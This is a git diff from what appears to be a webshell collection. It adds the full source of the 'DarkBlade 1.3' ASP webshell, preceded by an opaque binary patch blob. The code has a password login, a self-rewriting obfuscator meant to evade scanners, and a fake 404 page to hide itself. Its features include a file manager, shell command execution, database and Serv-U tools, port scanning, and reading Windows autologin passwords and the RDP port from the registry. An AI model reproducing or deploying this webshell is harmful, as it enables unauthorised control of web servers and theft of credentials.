zb@}tmREArwE(uBrwa!%@%QTl26O}&D3p)W6-(Kd{6~knqAB@`Uwm_G`*7061jgN3>oZd9vyIgaZFHle(lZp)mJ#9*@js zU<`A#9Y^VsL$-6d>J-pOVON|#9 zgN3)as)lXG-hQ;ps^g1{xf6MS3J&Ny1q+c03JA_4a`()$h(q+d&&$}sx{$#$Y|&Xv z%#usgsDrq4z2cbbBh~>|&L!u`7*(WTQ0{YVlfE9oMEDV^i9OLxcBPxvl(&ss#-BNa zQcg$jqk?XH1v=_>u(H32`}b7*KYTR)Ei>2EWe~zwR%6~iAG8p6`jSz$PsbfVM3*;b zm%WI&?)fGJ311sZl}@zh!qdOfzhzBULW#UfE*G0$F`1QNz`>Nhmaz;yHM$ITGUZ2J zCZR{GMr$4}l`>4RGTG%YqmkLR-^xeLO*@h*lj;|}y){{AM5-e1T(i7V;sKAIU%r@F zuGTS=(rI>a4%_EpV`uP|zY+rWn9f23egNVLZU(Rl6yM-cO9O|x*=yVPE;FooBe7i_ zu4V=nhW-k^9zPefzH51^E9hDUX}Zja88l2y-{*a0FPY?eY5&Cq>Gvav?<1*Dm&zAy zV;Fybk5v*Yf?3T=?T&-roQZSs2|^th%s^n=Y>wmS+Uy)UWVep2tsxC|gAhCXgtG&9%3)(P0dKfwRC<5%WHx z(?5!XL*7w?uMW4Mo+|o5Q;oZf^kJ(^+Al2^CET6?$FWF!Shb2kDNek`c95}ug*DYK zxEeWGtF@)oc$n`qk_QPlBauxsCkK^ zBJ6|~fA;`UesT>`uosUqVM7ke{$(d$qTe5JkdIy%f3SF2B~kzMRFCW1@>-u(D)tLD z(0tx3RDVN#t>})hrZu7IwvYI3j;5~UfeECaHh+;ZxwT^=*@I95^T$)%@qYObi^t?B-w_$OL@`6Nnv_TnUt<@AJX- z)MoEKZ3_u&KMPnJG`aOt#|+M!lQU-pFv)oe!W@G@u4?=vk5qwg#LW9xC%GAkfm{ zeR~T>*{nkCRRh6RLZ{9vK&AgmpSAfK`b%@Y34EMj1NI<-;(5-zuZ3e_ZCsS$)%-G5 zi;{w6RdU*7@}`YrN!_-iq!?u=Uh&o$erzU3jg)pK?3_V2v4nv^G9A>yuKpI=lYP@- zNTPhWnV{N)X&8iZ$!&y6Sjm9RIFL7}8w2Pq8z3JbY1O7I zEUvW@!ZS^|Gp=Gi)!Ny)(wA14-|omRrF>XI=$wnMepH(0rpKJbdLfmm2b@Y5{3nFQlC3#VQOF}Nqa=sHj9gw}n2RJ+r`=xt8ExRtXL0%lRzggZXT@fBA}xITfN zEp-$C$OZGnmK4n4ueB!vE}>@Zk3GYX z7yIk%+zuEl#IliTSbx_yxb@gJSI6)m){IXRK`+P(C+`>Qg68X+>UHF#uG_qfxpIj` zFWb_ZqrG=_S6aYHyVsXx_2>x|6)J>%ZW!pxU~CA5RA)iuxx*2u06V4u}hU7wf#<4 zsp-?<0WA8pudIxpH1c<65-^Zg4G5KbNCqDG=rd-;gG_FJvq!Y0hW^a=DJWLKGmRIBvl@(9tcrL5MfVmw#$@|^W2sr4r9B<~y8 z9gP25(dJAtp}~MneIIhfO-^$oSW#SFmg(HuEK!FJRgT7=TkduY-|spZ-kP5*q20_ z+BoGmWq&Z>EGy-?&q?T%4x#=XN%`Kl)=W{&e-dFqkbSE}-F8~T>j3V_i?tTPU}8}0 zJ!bSmDeWBn%TFhNl+0)QHRtf0wz)kNC7N$2^Tvs>D!_qL_}((>HlON7)+RAp%!?v` zno~51&0nSldp>ipb|`ib4o1L(r_U%zcKhI|N2wlJOYkX8!3$gEGs&`@3$X*d&eKLa zrC)4{Oh+*Kzx+IQHD~Rgk@4n?^UKr(%c+Ncn|Z*Kch=mI!P%_z5-Vde&-yAa^tdydy^)qP&7~XjKVf8@RC#{=9IClK+G;o z-!}}qNXoAv_A;b+E0=;hHV-Uk-9$d&6aGNd;*RK)kRbC@Fe zL#c)XBsv-%r?mbsL%kv}n0M1Kb``8$qNM$29Vjy?aaQbo$W@oVdBR+u<5sHE0j^I?&rp%FGFP(phvSSr(b(B zd)??{T;dMlh*j7jmxPAGy<<3RezUL`j1^(TLxm$;elJkpwAX+(NbKNSi#CSFs+F6O^_^TA)W0xhnEwxaKi6lB`NL9 zZuv!hpZ?}&vj2|M<6%t@ zM~PuYe;NjsnG~Ldi-|t~XSc#Ome&$ubK}G(Weklp`d&#<%-z59Xkv(;Y{`5xp#|>C zOWFW475L@#8{*~kXk?Os)tr~$f*$U3!FonjnE{Z%Zw?^+4vMMHcrV+Vh*cfNaim+! z4XD{-aNKRh>t6a?Ps5098TV_Z?v9|(C!*C`d-iDjDo3liCRSiuTEK0N8 zlzJIFn+&f_psH9hby%CsD7$%!K>}K$vSq!&v0AQRPsh#M-O<%Y6-!Ign1Ng1<50Vh z%dM&pw7Zav$2Q*c@=b*f8N*va<9VU$pZWQCB3`0D*T1xCi3FePzJKmqlsfl)BU6Bk z*Kl+%sYJE7lg>CA+1O6DZ6+p~gNh()efZZJH*ZVEZ6>y#?4ijdM&W;Yxi>SORvP>Q zAK85RPm>P0N^A4+>3-L;_!`e`MLvN;4asvRaZ}ch9mv9$SB*r{KpcSF6+9AmVS~av zmbN;RZ36bglzC&3#XM2vQ7Q$i4gM)>q`{9jFnMpH73B2H04G@+q$*EBP$3z$rBt(_ z|E7dXa}8oMVcOshF(ViyRUSp*6+V@hF-_Wu@5JOR-XrZH{2upi@Tin-T+8*^B07$A zkbNL+AyM@I%%P1G$OuW&m{7GgL3lqf`OxNSW`}&wc86khc&y#HfeL^DWvi3qRwa`z zP|Osv7XC&oK_ZjwJtSmTS!xncJn1WH?GTl|f^B2yK zf3qLuwYB2Lht(--it(EoIw^{WRt>u%A9$lbf-W~DU4FST#sNAE$xR=2zY|g04u8Uz&;l literal 0 HcmV?d00001 diff --git a/net-friend/asp/DarkBlade1.3--强大的asp大马/indexx.asp b/net-friend/asp/DarkBlade1.3--强大的asp大马/indexx.asp new file mode 100644 index 0000000..9005960 --- /dev/null +++ b/net-friend/asp/DarkBlade1.3--强大的asp大马/indexx.asp @@ -0,0 +1,4165 @@ +<%@ LANGUAGE='VBScript' CODEPAGE='65001'%> +<% + Response.Buffer=True + Response.CharSet="utf-8" + Server.ScriptTimeOut=300 + + '-------------------------------Config------------------------------- + 'Private version, do not share it to anybody! + 'DarkBlade 1.3 by B100d5w0rd, msn:bloodsword@live.cn + 'Final version, no more update + 'Thanks to these hackers:Bin, Luyu, Sht + + Const pass="27C839C78A3067DA5175109708C28A" 'tencentisapieceofshit + Const needEncode=False + Const encodeNum=20 + Const isDebugMode=False + Const encodeCut="_" + Const pamtoEncode="thePath|cmdPath|cmdStr|connStr|queryStr|regPath|pubPam|txtObjInfo|StrTable|mdbPath|searchkey|suUser|suPass|suPath|suCmd|targetUrl|portList|dicList|ipList|destName|loadpath" + Const showLogin="login" + Const defaultChr="GB2312" + Const aspExt="asp|asa|cer|cdx" + Const textExt="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config" + Const sqlPageSize=50 + Const fToPre="zzzzzzzz.html" + Const bOtherUser=False ' + '-------------------------------Config------------------------------- + + + + '-------------------Transform sign------------------ + Const transformSign="'-------------------Transform sign------------------" + Const notToTransform="upload|action|file|password|text|server|title|user|login|value|port|filename|name|htmlEnc|type|http|pass|files|path|attributes|goaction|info|download|logout|login|content|charset|font|color|size|value|width|rows|class|name|value|width|size|color|save|down|span|echo|form|byval|find|vbcrlf" + Const strs_toTransform="command|Radmin|NTAuThenabled|FilterIp|IISSample|PageCounter|PermissionChecker|BrowserType|ContentRotator|SystemRoot|ComSpec|PATHEXT|PROCESSOR|ARCHITECTURE|IDENTIfIER|REVISION|Physical|Memory|Installed|NUMBER_OF_PROCESSORS|PROCESSOR_ARCHITECTURE|Os2LibPath|NameServer|DefaultGateway|HKEY|HKLM|LOCAL_MACHINE|SOFTWARE|CurrentVersion|Winlogon|CurrentControlSet|ControlSet001|WinStations|RDP-Tcp|PROCESSOR_IDENTIfIER|PROCESSOR_LEVEL|PROCESSOR_REVISION|Windows NT|AutoAdminLogon|DefaultUserName|DefaultPassword|ComputerName|DisplayLastUserName|anonymous|LanmanServer|AutoShareServer|EnableSharedNetDrives|EnableSecurityFilters|Engines|SandBoxMode|openrowSet|sp_oacreate|sp_oamethod|sp_oasetproperty|net user|PasswordExpired|Scripting.|.FileSystemObject|Shell.|.Application|WScript.|.Shell|.Stream|Adodb.|.Connection|.RecordSet|MSXML2.|.XMLHTTP|SoftArtisans.|.FileUp|.FileManager|Persits.|MSWC.|xplog70|addextEndedproc|master|cmdShell|regwrite|system32|SetDOMAIN|TZOEnable|43958|Serv-U|SetUSERSetUP|LoginMesFile|RelPaths|DELETEDOMAIN|MAINTENANCE|Maintenance|HomeDirDrive|NeedSecure|HideHidden|AlwaysAllowLogin|ChangePassword|QuotaEnable|SpeedLimitUp|SpeedLimitDown|MaxNrUsers|IdleTimeOut|RWAMELCDP|upadmin|LocalAdministrator|13709620|444553540000|72C24DD5|98424B88AFB8|Server.Execute|Eval|localgroup|MaxUsersLoginPerIP|Server.Execute|ShellExecute|Terminal|Unauthorized|DarkBladePass|AuThenticate|AUTH_USER|WinDir|ExecuteGlobal|sp_addsrvrolemember" + Const funcs_toTransform="SavetoFile|CopyFile|OpenTextFile|CreateTextFile|DeleteFile|GetParentFolder|GetExtension|CreateFolder|MoveFolder|GetFileName|CopyFolder|MoveFile|DeleteFolder|NameSpace|Environment|ExpandEnvironmentStrings|RegRead|Exec|Run|GetSystemInformation|Save|CopyHere|MoveHere|ReadAll|DriveLetter|DateCreated|LastModIfied|LastAccessed|Filesystem|TotalSize|PasswordMinimumLength|AccountDisabled|IsAccountLocked|AccountExpirationDate|LoadFromFile" + Dim currentPath,tmpPath,objCountFile,tempFileData,splitArray,strArray_toTransform,str_transformed,varArray_forbidden,funcArray_toTransform,total,arr_notToTransform,var_toTransform_list,strArr_toTransform,funcArr_toTransform,regex,filetopretEnd,nopretEnd,strForbidden + strForbidden="dim|sub|end|for|and|now|get|Set|chr|int|day|int|rnd|not|len|mid|sun|asc|cos|app|xor|imp|fix|atn|err|rgb|else|const|true|false|call|each|then|next|redim|error|null|empty|until|loop|case|step|log|dir|stop|str" + Set regex=new RegExp + regex.Global=True + regex.IgnoreCase=True + regex.MultiLine=True + arr_notToTransform=Split(notToTransform,"|") + + funcArr_toTransform=Split(funcs_toTransform,"|") + var_toTransform_list="" + strArr_toTransform=Split(strs_toTransform,"|") + strUbound=UBound(strArr_toTransform) + filetopretEnd=request("filetopretEnd") + nopretEnd=request("nopretEnd") + serveren=request("serveren") + Call transinit() + Sub transinit() + If filetopretEnd=""And nopretEnd=""Then + Call userInit() + response.End + Else + Call Transform() + End If + Response.Redirect"?goaction=login" + End Sub + Sub userInit() + Dim fsoX,theFolder + Set fsoX=CreateObj("Scripting.FileSystemObject") + Set theFolder=fsoX.GetFolder(mapath(".")) + echo"
    " + echo"Running first time,choose the file to pretEnd as." + echo"" + echo"No pretEnding
    " + echo"Server Encode:
    " + echo"" + echo"
    " + End Sub + Sub Transform() + Dim fsoX,crlf + crlf=Chr(13)&Chr(10) + currentPath=mapath(getCurrentFileName(request.ServerVariables("URL"))) + tempFileData=readSelf(currentPath) + splitArray=Split(tempFileData,transformSign) + If nopretEnd=""Then nopretEnd=0 + tempFileData=Replace(splitArray(0)&splitArray(3),"encodeNum=20","encodeNum="&getRndNum(20,81)) + If nopretEnd<>1 And filetopretEnd<>""Then tempFileData=Replace(tempFileData,"zzzzzzzz.html",filetopretEnd) + If serveren<>""Then tempFileData=Replace(tempFileData,"GB2312",serveren) + tempFileData=Replace(tempFileData,Chr(9),"") + tempFileData=Replace(tempFileData,crlf&crlf,crlf) + tempFileData=Replace(tempFileData,crlf&crlf,crlf) + do_varTransform() + do_strTransform() + do_funcTransform() + saveSelf currentPath,tempFileData + End Sub + + Function readSelf(thePath) + Set fsoX=CreateObj("Scripting.FileSystemObject") + Set objCountFile=fsoX.OpenTextFile(thePath,1,True) + readSelf=objCountFile.ReadAll + objCountFile.Close + Set objCountFile=Nothing + End Function + Sub saveSelf(thePath,fileContent) + Set fsoX=CreateObj("Scripting.FileSystemObject") + Set objCountFile=fsoX.CreateTextFile(thePath,True) + objCountFile.Write tempFileData + objCountFile.Close + Set objCountFile=Nothing + End Sub + + Sub do_varTransform + + 'Sub/Function Transform + Dim matchColl,arr_varToTransform,matchArr + regex.Pattern="(sub|function) +[\w]+(?= *\()" + regex.Global=True + regex.IgnoreCase=True + regex.MultiLine=True + Set matchColl=regex.Execute(tempFileData) + For Each matched In matchColl + matched=regRep(matched,"(sub|function) +","",False) + addToVarArr matched + Next + For Each tmpVar_toTramsform In Split(var_toTransform_list,"|") + do_varReplace tmpVar_toTramsform,0 + Next + var_toTransform_list="" + 'Var Transform + regex.Pattern="dim +[\w ,]+" + Set matchColl=regex.Execute(tempFileData) + For Each matched In matchColl + matched=Lcase(matched) + matched=Trim(Replace(Lcase(matched),"dim ","")) + For Each varToTransform In Split(matched,",") + addToVarArr varToTransform + Next + Next + regex.Pattern="const\s+[\w]+(?=\s*=)" + Set matchColl=regex.execute(tempFileData) + For Each matched In matchColl + matched=Replace(Lcase(matched),"const","") + matched=Trim(Replace(Lcase(matched),"set","")) + addToVarArr matched + Next + 'Parameter Transform + regex.Pattern="(function|sub)\s+[\w]+\([\w,]+" + Set matchColl=regex.execute(tempFileData) + For Each matched In matchColl + matched=getRight(Lcase(matched),"(") + For Each subPam In Split(matched,",") + If InStr(subPam," ")>0 Then subPam=getRight(subPam," ") + addToVarArr Trim(subPam) + Next + Next + regex.Pattern="case\s*""[^\r\n]+""" + Set matchColl=regex.execute(tempFileData) + For Each matched In matchColl + matched=regRep(matched,"case\s*""","",False) + matched=Replace(matched,"""","") + If InStr(matched,",")>0 Then + For Each subMacthed In Split(matched,",") + addToVarArr Trim(subMacthed) + Next + Else + addToVarArr matched + End If + Next + For Each tmpVar_toTramsform In Split(var_toTransform_list,"|") + do_varReplace tmpVar_toTramsform,3 + Next + var_toTransform_list="" + + End Sub + Sub do_varReplace(varToTransform,intType) + If varToTransform=""Then Exit Sub + Dim varTransformed,strPattern + varTransformed=getRndStr() + strForbidden=strForbidden&"|"&Lcase(varTransformed) + varToTransform=Replace(varToTransform,".","\.") + Select Case intType + Case 0 + strPattern="([^\w\\])"&varToTransform&"(?![\w\\])" + tempFileData=regRep(tempFileData,strPattern,"$1"&varTransformed,False) + Case Else + strPattern="([^\w\\])"&varToTransform&"(?![\w\\])" + tempFileData=regRep(tempFileData,strPattern,"$1"&varTransformed,False) + End Select + End Sub + Sub do_strTransform() + For Each str_toTransform In strArr_toTransform + do_strReplace str_toTransform + Next + End Sub + Sub do_strReplace(str) + If str=""Then Exit Sub + Dim rndNum,str_transformed,strPattern + rndNum=getRndNum(2,Len(str)-3) + str_transformed=Left(str,rndNum)&"""&"&getRndStr()&"&"""&Right(str,Len(str)-rndNum) + strPattern="\b"&Replace(Replace(str,".","\."),"_","\_")&"\b" + echo strPattern&"
    " + tempFileData=regRep(tempFileData,strPattern,str_transformed,False) + End Sub + Sub do_funcTransform + Dim tmpFunc,matchColl,matched + regex.Global=True + regex.IgnoreCase=True + regex.MultiLine=True + For Each tmpFunc In funcArr_toTransform + regex.Pattern="[^\n\r]+\."&tmpFunc&"\b[^\n\r]+" + Set matchColl=regex.Execute(tempFileData) + For Each matched In matchColl + do_funcReplace matched,tmpFunc + Next + Next + End Sub + Sub do_funcReplace(strLine,func_toTransform) + If func_toTransform=""Or strLine=""Then Exit Sub + Dim tmpFunc,func_transformed,rndStr,rndNum,line_transformed + If Left(Lcase(strLine),3)="if "Or Left(Lcase(strLine),4)="for "Then Exit Sub + rndStr=getRndStr() + rndNum=getRndNum(1,Len(func_toTransform)-1) + func_transformed=Left(func_toTransform,rndNum)&"""&"&rndStr&"&"""&Right(func_toTransform,Len(func_toTransform)-rndNum) + regex.Global=True + regex.IgnoreCase=True + regex.MultiLine=True + regex.Pattern="""[^&]*\b"&func_toTransform&"\b[^&]*""" + If Left(line_transformed,8)="execute " Or regex.test(strLine)Then + line_transformed=Replace(strLine,func_toTransform,func_transformed,1,-1,1) + Else + line_transformed=Replace(strLine,"""","""""") + line_transformed=Replace(line_transformed,func_toTransform,func_transformed,1,-1,1) + line_transformed="execute """&line_transformed&"""" + End If + tempFileData=Replace(tempFileData,strLine,line_transformed) + End Sub + + Sub addToVarArr(str) + If Not isTransAble(str)Then Exit Sub + If InStr(var_toTransform_list,"|"&str)>0 Or InStr(var_toTransform_list,str&"|")>0 Then Exit Sub + If var_toTransform_list=""Then + var_toTransform_list=str + Else + var_toTransform_list=var_toTransform_list&"|"&str + End If + End Sub + Function isTransAble(str) + If Len(str)<4 Then + isTransAble=False + Exit Function + End If + For Each strNotTransform In arr_notToTransform + If strNotTransform=Lcase(str)Then + isTransAble=False + Exit Function + End If + Next + isTransAble=True + End Function + Function getCurrentFileName(url) + getCurrentFileName=Right(url,Len(url)-InStrrev(url,"/")) + End Function + Function getRndStr() + Dim rndStr + rndStr="" + Do While not chkRndStr(rndStr) + rndStr="" + For i=1 To getRndNum(3,3) + rndStr=rndStr&getRndChar() + Next + Loop + getRndStr=rndStr + End Function + Function chkRndStr(Str) + Str=Lcase(str) + If Left(Str,1)="h"Or Len(str)<3 Then + chkRndStr=False + Exit Function + End If + If InStr(strForbidden,"|"&Str)>0 Or InStr(strForbidden,Str&"|")>0 Then + chkRndStr=False + Exit Function + End If + chkRndStr=true + End Function + Function getRndChar() + Dim SYMBOL_Char:SYMBOL_Char="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" + Randomize + getRndChar=Mid(SYMBOL_Char,getRndNum(1,52),1) + End Function + Function getRndNum(a,b) + Randomize + getRndNum=Int(b * rnd+a) + End Function + + Function regRep(str,strPattern,replaced,needFormat) + If needFormat Then + strPattern=Replace(strPattern,"\","\\") + strPattern=Replace(strPattern,".","\.") + strPattern=Replace(strPattern,"?","\?") + strPattern=Replace(strPattern,"+","\+") + strPattern=Replace(strPattern,"(","\(") + strPattern=Replace(strPattern,")","\)") + strPattern=Replace(strPattern,"*","\*") + strPattern=Replace(strPattern,"[","\[") + strPattern=Replace(strPattern,"]","\]") + End If + regex.Pattern=strPattern + regRep=regex.Replace(str,replaced) + End Function + + '-------------------Transform sign------------------ + + Dim goaction,thePath,cmdStr,connStr,regPath,pubPam,serverName,objXml,objWs,objFso,objSa,objStream,objRe,pagePath,pageName,startTime,EndTime,aspPath,rootPath,errMsg,txtObjInfo,trId,SessionKey,SessionValue,cmdPath,formId,subAct,truePath,localName,strFileMethod,fileContent,newOneName,newOneType,dbType,conn,strTable,intPage,mdbName,dbname,packMethod,mdbName2,mdbPath,searchkey,useReg,suUser,suPass,suPort,suPath,suCmd,deldomain,newdomain,newuser,suquit,loginuser,loginpass,mt,targetUrl,ipList,portList,dicList,outPath,outExt,cmdDoTExeFiLe,userPass,queryStr,sversion,cookiePre,cookiePass,strObj,strReplaceTo,needReplace,searchExt,getInc,chkPath,needecho,datem,strRefFile,fsoAttrib,logged,shellenv,nuser,npass,nport,cls_upload,destName,loadPath,strfrm,sqlver,moveme + sversion="DarkBlade 1.3 Private" + cookiePre="DarkBlade" + cookiePass="DarkBladePass" + doInit() + logged=isIn() + If logged Then + pamInit() + Else + goaction=request("goaction") + End If + If Not logged And goaction<>showLogin Then show404() + If bOtherUser And Trim(getServerVariable("AUTH_USER"))="" Then + Response.Status="401 Unauthorized" + Response.Addheader"WWW-AuThenticate","BASIC" + If getServerVariable("AUTH_USER")=""Then Response.End() + End If + Select Case goaction + Case showLogin + pageLogin() + Case"objOnSrv" + PageObjOnSrv() + Case"userList" + PageUserList() + Case"CSInfo" + PageCSInfo() + Case"WsCmdRun" + PageWsCmdRun() + Case"infoAboutSrv" + PageInfoAboutSrv() + Case"MsDataBase" + PageMsDataBase() + Case"OtherTools" + PageOtherTools() + Case"TxtSearcher" + PageTxtSearcher() + Case"ServUp" + PageServUp() + Case"ScanShell" + PageScan() + Case"Logout" + PagedoLogout() + Case"AddToMdb" + PageAddToMdb() + Case"SaFileExplorer","FsoFileExplorer" + PageFileExplorer() + Case Else + PageFileExplorer() + End Select + doFin + + Sub doInit() + If Not isDebugMode Then On Error Resume Next + startTime=Timer() + Dim formContent,queryContent,upformContent,Sessions,Session_Array,sescontent,strTodecode,pamArrtoEncode + servurl=getServerVariable("URL") + Set objXml=CreateObj("MSXML2.XMLHTTP") + Set objWs=CreateObj("WScript.Shell") + Set objFso=CreateObj("Scripting.FileSystemObject") + Set objSa=CreateObj("Shell.Application") + If Not IsObject(objWs)Then Set objWs=CreateObj("WScript.Shell.1") + If Not IsObject(objSa)Then Set objSa=CreateObj("Shell.Application.1") + Set objRe=new RegExp + objRe.Global=True + objRe.IgnoreCase=True + objRe.MultiLine=True + serverName=getServerVariable("SERVER_NAME") + pagePath=getServerVariable("PATH_INFO") + pageName=Lcase(getRight(pagePath,"/")) + aspPath=mapath(".") + rootPath=mapath("/") + formId=1 + trId=1 + End Sub + Sub pamInit() + For Each queryContent In request.queryString + execute queryContent&"=request.queryString("""&queryContent&""")" + Next + For Each formContent In request.Form + execute formContent&"=request.form("""&formContent&""")" + Next + If InStr(getServerVariable("CONTENT_TYPE"),"multipart/form-data")=1 Then + Set cls_upload=new upload_5xsoft + For Each upformContent In cls_upload.objForm + execute upformContent&"=cls_upload.objForm("""&upformContent&""")" + Next + End If + pamArrtoEncode=Split(pamtoEncode,"|") + For Each strTodecode In pamArrtoEncode + execute""&strTodecode&"=secretDecode("&strTodecode&")" + Next + If Right(thePath,1)="\"And Len(thePath)>3 Then thePath=Left(thePath,Len(thePath)-1) + End Sub + Sub doFin() + If Not isDebugMode Then On Error Resume Next + Dim timeProcessed + objXml.abort + Set objXml=Nothing + Set objWs=Nothing + Set objFso=Nothing + Set objSa=Nothing + Set objRe=Nothing + EndTime=timer() + timeProcessed=EndTime-startTime + echo"
    " + doTable"100%" + echo"" + echo"" + echoLine errMsg + timeProcessed=FormatNumber(timeProcessed,5) + If Left(timeProcessed,1)="."Then timeProcessed="0"&timeProcessed + echoLine"
    " + echo"
    Processed in :"&timeProcessed&"seconds
    " + Response.End() + End Sub + + Sub pageLogin() + If Not isDebugMode Then On Error Resume Next + userPass=request("userPass") + If userPass<>""Then + userPass=CFSEncode(userPass) + If CFSEncode(userPass)=pass Then + Response.Cookies(cookiePass)=userPass + Response.Redirect(pagePath) + Else + errMsgAdd"Fuck you,get out!" + End If + End If + showTitle"Login" + echo"

    " + doForm False + echo"Password : " + doInput"password","userPass","","30","" + echo" " + doSubmit"Get In" + echo"
    " + End Sub + + Sub PageInfoAboutSrv() + If Not isDebugMode Then On Error Resume Next + Dim i,objWshSysEnv,aryExEnvList,strExEnvList,intCpuNum,strCpuInfo,strOS,terminalPortPath,terminalPortKey,termPort + strExEnvList="SystemRoot|WinDir|ComSpec|TEMP|TMP|NUMBER_OF_PROCESSORS|OS|Os2LibPath|Path|PATHEXT|PROCESSOR_ARCHITECTURE|"&_ + "PROCESSOR_IDENTIfIER|PROCESSOR_LEVEL|PROCESSOR_REVISION" + aryExEnvList=Split(strExEnvList,"|") + Set objWshSysEnv=objWs.Environment("SYSTEM") + intCpuNum=getServerVariable("NUMBER_OF_PROCESSORS") + If IsNull(intCpuNum)Or intCpuNum=""Then + intCpuNum=objWshSysEnv("NUMBER_OF_PROCESSORS") + End If + strOS=getServerVariable("OS") + If IsNull(strOS)Or strOS=""Then + strOS=objWshSysEnv("OS") + strOs=strOs&"(probably Windows 2003)" + End If + strCpuInfo=objWshSysEnv("PROCESSOR_IDENTIfIER") + showTitle"Server Infomation" + doTable"100%" + doTh + echo"" + echo"Server parameters:" + echo"" + doTtr + doTr 0 + doTd"Server name:","" + doTd serverName,"" + doTtr + doTr 1 + doTd"Server IP:","" + doTd getServerVariable("LOCAL_ADDR"),"" + doTtr + doTr 0 + doTd"Server port:","" + doTd getServerVariable("SERVER_PORT"),"" + doTtr + doTr 1 + doTd"Server memory","" + doTd getTheSize(objSa.GetSystemInformation("PhysicalMemoryInstalled")),"" + doTtr + doTr 0 + doTd"Server time","" + doTd Now,"" + doTtr + doTr 1 + doTd"Server soft","" + doTd getServerVariable("SERVER_SOFTWARE"),"" + doTtr + doTr 0 + doTd"Script timeout","" + doTd Server.ScriptTimeout,"" + doTtr + doTr 1 + doTd"Number of cpus","" + doTd intCpuNum,"" + doTtr + doTr 0 + doTd"Info of cpus","" + doTd strCpuInfo,"" + doTtr + doTr 1 + doTd"Server OS","" + doTd strOS,"" + doTtr + doTr 0 + doTd"Server script engine","" + doTd ScriptEngine&"/"&ScriptEngineMajorVersion&"."&ScriptEngineMinorVersion&"."&ScriptEngineBuildVersion,"" + doTtr + doTr 1 + doTd"File full path","" + doTd getServerVariable("PATH_TRANSLATED"),"" + doTtr + trId=0 + For i=0 To UBound(aryExEnvList) + doTr trId + doTd aryExEnvList(i)&":","" + doTd objWs.ExpandEnvironmentStrings("%"&aryExEnvList(i)&"%"),"" + doTtr + trIdAdd + Next + doTtable + chkerr(Err) + echo"
    " + Set objWshSysEnv=Nothing + Dim objTheDrive + doTable"100%" + doTh + echo"" + echo"Info of disks" + echo"" + doTtr + doTr 0 + doTd"Driver letter","" + doTd"Type","" + doTd"Label","" + doTd"File system","" + doTd"Space left","" + doTd"Total space","" + doTtr + trId=1 + For Each objTheDrive In objFso.Drives + Dim dLetter,dType,vName,fSystem,fSpace,tSize + dLetter=objTheDrive.DriveLetter + If Lcase(dLetter)<>"a"Then + dType=getDriveType(objTheDrive.DriveType) + vName=objTheDrive.VolumeName + fSystem=objTheDrive.Filesystem + fSpace=getTheSize(objTheDrive.FreeSpace) + tSize=getTheSize(objTheDrive.TotalSize) + doTr trId + doTd dLetter,"" + doTd dType,"" + doTd vName,"" + doTd fSystem,"" + doTd fSpace,"" + doTd tSize,"" + doTtr + End If + dLetter="" + dType="" + vName="" + fSystem="" + fSpace="" + tSize="" + trIdAdd + Next + doTtable + chkerr(Err) + Set objTheDrive=Nothing + Dim objTheFolder + Set objTheFolder=objFso.GetFolder(rootPath) + echo"
    " + doTable"100%" + doTh + echo"" + echo"Info of site:" + echo"" + doTtr + doTr 0 + doTd"Physical path:","" + doTd rootPath,"" + doTtr + doTr 1 + doTd"Current size:","" + doTd getTheSize(objTheFolder.Size),"" + doTtr + doTr 0 + doTd"File count:","" + doTd objTheFolder.Files.Count,"" + doTtr + doTr 1 + doTd"Folder count:","" + doTd objTheFolder.SubFolders.Count,"" + doTtr + doTtable + chkerr(Err) + echoLine"
    " + Dim autoLoginPath,autoLoginUserKey,autoLoginPassKey + Dim isAutoLoginEnable,autoLoginEnableKey,autoLoginUsername,autoLoginPassword + terminalPortPath="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" + terminalPortKey="PortNumber" + termPort=ReadReg(terminalPortPath&terminalPortKey) + If termPort=""Then termPort="Can't get terminal port.
    " + autoLoginPath="HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" + autoLoginEnableKey="AutoAdminLogon" + autoLoginUserKey="DefaultUserName" + autoLoginPassKey="DefaultPassword" + isAutoLoginEnable=ReadReg(autoLoginPath&autoLoginEnableKey) + If isAutoLoginEnable=0 Then + autoLoginUsername="Autologin isn't enabled" + Else + autoLoginUsername=ReadReg(autoLoginPath&autoLoginUserKey) + End If + If isAutoLoginEnable=0 Then + autoLoginPassword="Autologin isn't enabled" + Else + autoLoginPassword=ReadReg(autoLoginPath&autoLoginPassKey) + End If + doTable"100%" + doTh + echo"" + echo"Info of Terminal port&Autologin" + echo"" + doTtr + doTr 0 + doTd"Terminal port:","" + doTd termPort,"" + doTtr + doTr 1 + doTd"Autologin account:","" + doTd autoLoginUsername,"" + doTtr + doTr 0 + doTd"Autologin password:","" + doTd autoLoginPassword,"" + doTtr + doTtable + echo"" + chkerr(Err) + End Sub + + Sub PageObjOnSrv() + Dim i,objTmp,strObjectList,strDscList + + strObjectList="MSWC.AdRotator,MSWC.BrowserType,MSWC.NextLink,MSWC.TOOLS,MSWC.Status,MSWC.Counters,IISSample.ContentRotator,IISSample.PageCounter,MSWC.PermissionChecker,Adodb.Connection,SoftArtisans.FileUp,SoftArtisans.FileManager,LyfUpload.UploadFile,Persits.Upload.1,W3.Upload,JMail.SmtpMail,CDONTS.NewMail,Persits.Mailsender,SMTPsvg.Mailer,DkQmail.Qmail,Geocel.Mailer,IISmail.Iismail.1,SmtpMail.SmtpMail.1,SoftArtisans.ImageGen,W3Image.Image,Scripting.FileSystemObject,Adodb.Stream,Shell.Application,Shell.Application.1,WScript.Shell,WScript.Shell.1,WScript.Network,hzhost.modules" + strDscList="Ad Rotator,Browser info,NextLink,,,Counters,Content rotator,,Permission checker,ADODB connection,SA-FileUp,SoftArtisans FileManager,LyfUpload,ASPUpload,Dimac upload,Dimac JMail,CDONTS SMTP mail,ASPemail,ASPmail,dkQmail,Geocel mail,IISmail,SmtpMail,SoftArtisans ImageGen,Dimac W3Image,FSO,Stream ,,,,,,Hzhost module" + + aryObjectList=Split(strObjectList,",") + aryDscList=Split(strDscList,",") + showTitle"Server Object Probe" + echo"Check for other ObjectId or ClassId.
    " + doForm True + doInput"text","txtObjInfo",txtObjInfo,50,"" + echo" " + doSubmit"Check" + doFform + If txtObjInfo<>""Then + doUl + Call getObjInfo(txtObjInfo,"") + echo"" + End If + echo"
    " + echo"
    • Object nameStatus and more
    • " + + For i=0 To UBound(aryDscList) + Call getObjInfo(aryObjectList(i),aryDscList(i)) + Next + + echo"

